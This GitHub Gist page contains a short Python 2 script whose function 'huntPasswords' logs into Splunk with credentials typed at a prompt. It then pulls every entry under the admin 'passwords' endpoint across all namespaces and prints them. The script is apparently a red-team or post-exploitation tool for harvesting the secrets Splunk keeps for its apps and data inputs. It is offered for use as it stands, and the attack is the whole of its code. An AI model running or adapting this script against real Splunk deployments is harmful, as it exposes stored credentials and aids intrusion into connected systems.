Created
December 16, 2019 05:31
-
-
Save ustayready/8bdb7934a327b85de607f5d977f160fc to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import splunk.entity as entity | |
| import splunk.auth, splunk.search | |
| import getpass | |
| def huntPasswords(sessionKey): | |
| entities = entity.getEntities( | |
| ['admin','passwords'],owner="nobody", namespace="-",sessionKey=sessionKey) | |
| return entities | |
| def getSessionKeyFromCreds(): | |
| user = raw_input("Username:") | |
| password = getpass.getpass() | |
| sessionKey = splunk.auth.getSessionKey(user,password) | |
| return sessionKey | |
| if __name__ == "__main__": | |
| sessionKey = getSessionKeyFromCreds() | |
| print huntPasswords(sessionKey) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment